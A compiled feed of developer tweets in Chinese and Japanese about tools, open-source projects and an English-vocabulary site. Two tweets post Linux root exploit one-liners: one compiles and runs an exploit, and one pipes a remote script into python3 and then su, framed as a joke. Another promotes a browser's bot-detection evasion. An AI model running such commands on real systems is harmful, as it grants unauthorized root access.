yoogo

Coder

[megumish(めぐみっしゅ) @megumish_unsafe]

SSH接続が途中切断された時、`Ctrl+C` も `Ctrl+D` も効かないから、いつもターミナルごと𝓚𝓲𝓵𝓵してたんだけど、今更 `~.` と言うSSHエスケープシーケンスで強制終了できることを知った
`~?` で他のコマンドも見れる

[GitHubDaily @GitHub_Daily]

想学习操作系统底层原理，面对动辄几十万行的内核源码，看得头大，抓不住核心脉络，很难真正读完读懂。

偶然看到 egos-2000 这个教学操作系统项目，整个系统只有 2000 行代码，却实现了操作系统的所有核心组件。

采用三层架构设计：底层处理硬件交互，中间层管理进程和系统调用，上层实现文件系统和命令行，结构非常清晰。

GitHub：https://t.co/DivZFwCzV3

支持在 QEMU 模拟器和真实的 RISC-V 开发板上运行，配套的教材还提供了 9 个课程项目，可以边读代码边动手实践。

如果想系统性地弄懂操作系统是怎么跑起来的，这份精炼的源码非常值得静下心来读一读。

[ドッグ @Linda_pp]

Microsoft 公式の Rust 製 Windows 向け UI ライブラリ windows-reactor．WinUI 3ベース．React のように宣言的に UI が書ける https://t.co/55KfITqV4l

[Indie Fox @indie_maker_fox]

没找到合适的应用，但发现2个有意思的开源项目

1、Animal Island UI

这个UI组件库很特别，动森风格，适合开发儿童应用

https://t.co/E4difbx5AR

2、HiKid

桌面应用，主打跟儿童聊天，它用的就是上面的UI库

https://t.co/FsiGmOA8Ld

[Pasha Sviderski @psviderski]

Fly is starting to do public releases for Corrosion and shipped v1.0.0! 🚀

It’s a gossip-based eventually consistent distributed SQLite they use for service discovery that replaced Consul.

In a nutshell:
- maintains an SQLite db on each node
- gossips local changes throughout the cluster
- uses SWIM protocol to manage cluster membership and CRDTs for conflict resolution
- periodically synchronises with a subset of cluster nodes to ensure consistency

v1.0.0 introduces numerous performance improvements but also breaking changes.

What I love most about Corrosion is that you can subscribe to an SQL query and receive updates when the data in the local replica changes.
This works like an event bus - different processes or controllers can watch and react to changes.

[恒星 @vintcessun]

这项目贼离谱——用小孩都能听懂的方式，把 ChatGPT 背后的 GPT 从零手搓了一遍。
每行代码都有注释，12 章 7500 多行，甚至专门讲清楚了 attention 那块我死活没搞懂的细节。
说白了，如果你只想“理解”而不是“调包”LLM，这就是现在最友好的实战教程。

https://t.co/x8cRHY4KOW

[Cyandev @unixzii]

Raycast 2 用了 webview 以后就一直想自己做一个纯 native 的替代品。这几天简单做了个原型，打算业余时间慢慢打磨，看看能做成什么样。反正暂时也没有发布的计划，感觉这样手写代码也是一种乐趣。

[润学唯一博导（Tenure Track非走即生） @RunnerOfPhil]

华为迟早再次发明三进制

苏联国家的宿命就是发明很多小众弯道超车的自主可控技术

然后落后

[虎小象 @hx831126]

先讲一个你可能从来没听说过的人。

1930年，英国语言学家 C.K. Ogden 做了一件很偏执的事——他把整个英语词汇表研究了一遍，然后问了一个问题：如果只能留下最核心的那些词，英语还能不能用？

他的答案是：850个词，够了。

这850个词，不是随便选的，是他穷尽分析之后筛选出来的"语言骨架"。他把它们分成5类：

100个操作词（Operations）：这、那、是、有、做……就是那些让句子转起来的胶水词

400个普通事物（General Things）：名词里最高频、最基础的那层

200个可描绘事物（Picturable Things）：能画出来的具体东西，比如 door、fire、river

100个性质词（Qualities）：描述世界的形容词，比如 clear、simple、important

50个反义词（Opposites）：成对出现，学一个等于学两个

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然后他把这套体系命名为 Basic English，发表出来。

接下来发生的事情更有意思。丘吉尔在二战期间公开赞扬这套体系，认为它是盟国推广英语教育的最佳基础。H.G. 威尔斯把它写进了《世界大战》的续集设定里，作为未来世界通用语言的蓝图。乔治·奥威尔……没有赞扬它，但《1984》里那套压缩语言"新话"（Newspeak）的灵感，正是来自对 Basic English 的深深警惕——他担心语言被缩减之后，人的思想也会跟着被缩减。

这就是这850个词的能量：支持者觉得它是桥梁，批评者觉得它是枷锁，争论了将近一百年。

但我想说的不是那场争论。我想说的是——这850个词，对今天的英语学习者来说意味着什么。

大多数人学英语，是被一本本厚厚的词汇书和无尽的考纲压着学的。CET-4、CET-6、托福、雅思……每一个证书背后都是几千个词的暴力记忆，背了忘，忘了背，从来没有真正"用"过。

Ogden 给出的逻辑完全相反：不是多，而是深。

这850个词，每一个都是高频中的高频，每一个在日常英语表达里都有不可替代的位置。当你真正把这850个词学透——不只知道它的意思，还知道它的用法、它的近义词在什么场景该用哪一个——你对英语的掌握会比背了5000个词却每个只认识中文意思要扎实得多。

这是一种截然不同的语言观：根扎得够深，枝才能生得够远。

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于是我做了这个网站：https://t.co/MNteHwzK9m
（准确的说我让 Codex 做的）

原版 Ogden 的资料是一本PDF，黑白的，排版像上个世纪（它确实是上个世纪的）。我想让它变成真正可以用来学习的东西。

花了不少时间（花了不少 Token ）最终做成了这样：

每一个词，都有一张完整的卡片。

卡片上有：这个词的中文释义、英文定义（用简单的英语解释英语，就像 Ogden 本人的风格）、一句真实语境下的例句，以及2到3个同义词。五个类别各有自己的颜色，一眼就知道你在学哪个区域的词汇。

每一个词，都可以听发音。

接的是有道词典的语音接口，默认英式发音，可以切换美式。点单词听一次，点例句听一次，语速比正常稍慢一点，适合跟读。不是那种机械的合成音，真的可以听。

最让我花心思的，是同义词那里。

很多人背单词的时候，同义词只是"差不多的意思"。但真正用英语的时候，difference 和 distinction 不一样，speak 和 talk 不一样，simple 和 easy 不一样。差在哪里？什么场景该用哪个？

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网站是免费的，不需要注册，不会收集任何信息。

直接访问就行：https://t.co/MNteHwzK9m

如果你身边有正在学英语的人，或者觉得自己英语"学了很多年但还是用不好"的，可以发给他们看看。

也许这850个词，是一个值得重新开始的起点。
👆

以上的文案也是它写的，我越来越没有用了

[Seekr @Numbcoder]

太牛逼了，Muxy 作者随便花个几天时间就能搞出一个像样 git 集成，反观 Zed 搞了几年了，git 还是一坨屎。
我大概是是上个月从 Kitty 切到了 Muxy，真的是越用越好用！

[EYHN @EEEEYHN]

我强烈推荐所有 electron 的 app 使用 velopack 做更新框架，可以增量更新，每次更新只需要下载几百kb，而不是每次下载几百mb。

而且 velopack 是一个框架无关的更新器，你甚至可以从 electron 更新到 tauri 然后更新到原生，用户不用重新安装。

https://t.co/1NjYEDTpqk

[LemonHX @lemonhxmoe]

zig 最近真是笑死我了，bun准备跳车了哈哈哈哈
作为zig china tg 的群主真的觉得难蚌

https://t.co/Abe7K4noGH

[ZianTT @ZianTT_Official]

一刻也没有为CopyFail的离去而感到悲伤，接下来到达战场的是：Dirty Frag！
git clone https://t.co/Mr46dGqTTb && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

[Viking @vikingmute]

学习这个用 Anime.js 的 scrambleText 做了一个文字切换滚动的特效
https://t.co/Xwe32Qj0LA
让 Codex 重新设计和整理了一下，支持各种字符 blocks / symbols / numbers / braille ，真的好帅啊，特别适合 geek 风网站的标题滚动效果

之后准备封装成一个 npm 包，支持不同框架，并且可以快速使用。还有就是 Anime.js 好强啊，觉得做动画效果他真的是第一选择。

[ZianTT @ZianTT_Official]

🔥还在担心忘记root密码吗，不要慌，一行命令就能帮你从低权限找回你的root权限🔥
curl https://t.co/rubu0lvdzU | python3 && su
CVE-2026-31431，影响2017至今的distro
与dirtycow不同的是，它无需race即可提权，利用范围比dirtypipe广，基本上是核弹级了
当然你也可以留着防止哪天忘了root密码（x

[meng shao @shao__meng]

Obscura 是一个用 Rust 从头编写的 headless browser 引擎，专为 AI Agent 自动化和规模化网络爬取设计，主要特性：独立引擎 + 原生反检测 + CDP 兼容 + 极致轻量

Obscura 精准切中了两个高价值场景的交集：AI Agent 的网页感知与大规模反检测爬取，性能对比非常激进。
维度 Obscura Headless Chrome
内存占用 30 MB 200+ MB
二进制 70 MB 300+ MB
页面加载 85 ms ~500 ms
启动时间 即时 ~2 s

架构拆解：六层 Crate 的精密分工
· obscura-dom：HTML 解析、DOM 树、CSS 选择器
· obscura-net：HTTP 客户端、Cookie、拦截器、robots.txt
· obscura-js：V8 集成、JS 运行时、DOM API 绑定
· obscura-browser：页面生命周期、浏览上下文、导航管理
· obscura-cdp：Chrome DevTools Protocol 兼容层
· obscura-cli：命令行入口、Worker 进程管理

Obscura 没有重写整个浏览器，它复用了 Servo 的 DOM 组件和 Google V8 的 JS 引擎，在此基础上构建独立的网络层和 CDP 兼容层。这是一种务实的"站在巨人肩膀上"的策略。

三大技术亮点
1. 深度反检测（Stealth Mode）
项目最具竞争力的特性。编译时启用 --features stealth 后，它在三个层面进行伪装：
· 指纹层面：每会话随机化 GPU、屏幕分辨率、Canvas、Audio、Battery 指纹；模拟 navigator.userAgentData 高熵值；将 navigator.webdriver 设为 undefined
· 行为层面：分派事件的 event.isTrusted = true；原生函数 toString() 返回 [native code]；隐藏内部属性使 Object.keys(window) 安全；Shadow DOM polyfill 兼容 Cloudflare Turnstile
· 网络层面：拦截 3520 个追踪/广告/遥测域名，阻止指纹脚本加载

2. 生态兼容策略
项目选择了"兼容而非对抗"的聪明路径：完整实现 CDP 的子集，使现有基于 Puppeteer/Playwright 的脚本可以零成本迁移，只需将 browserWSEndpoint 指向 ws://127.0.0.1:9222。这极大降低了采用门槛。

3. 为 AI Agent 优化的专属功能
· 内置 LP Domain：DOM-to-Markdown 转换，直接输出适合 LLM 消费的结构化文本
· 85ms 页面加载意味着 Agent 的感知-行动循环更紧凑
· 轻量特性使其适合作为 Agent 的常驻感知端点

开源地址：
https://t.co/0mSOXJOFSe

[tison @tison1096]

光速投降了✌️

Go 语言就是经典的又臭又香。

还是那个砌得整整齐齐💩的味道，但是近年（尤其引入了泛！型！之后），重复代码也算减少了很一些。不过跟 Rust 的表达能力还是有差距。当然 Rust 有它自己的一系列问题。

[Geek Lite @QingQ77]

一个用 Rust 写的沙箱平台，让多个 AI 编程代理在隔离虚拟机里跑，不用把 API 密钥暴露给代理

https://t.co/Xzcyfjhaxz

SuperHQ 用 Rust 和 GPUI 搭了个沙箱环境，能同时跑 Claude Code、OpenAI Codex、Pi 等多个 AI 编程代理。每个代理关在自己的虚拟机里，有自己的文件系统、网络和资源配额。代理要调 API 时，请求先到主机上的认证网关，网关帮忙注入密钥再转发出去，代理本身碰不到真实凭证。

[李韭二 @li9292]

这个前端效果和动画效果
太在我的审美上了！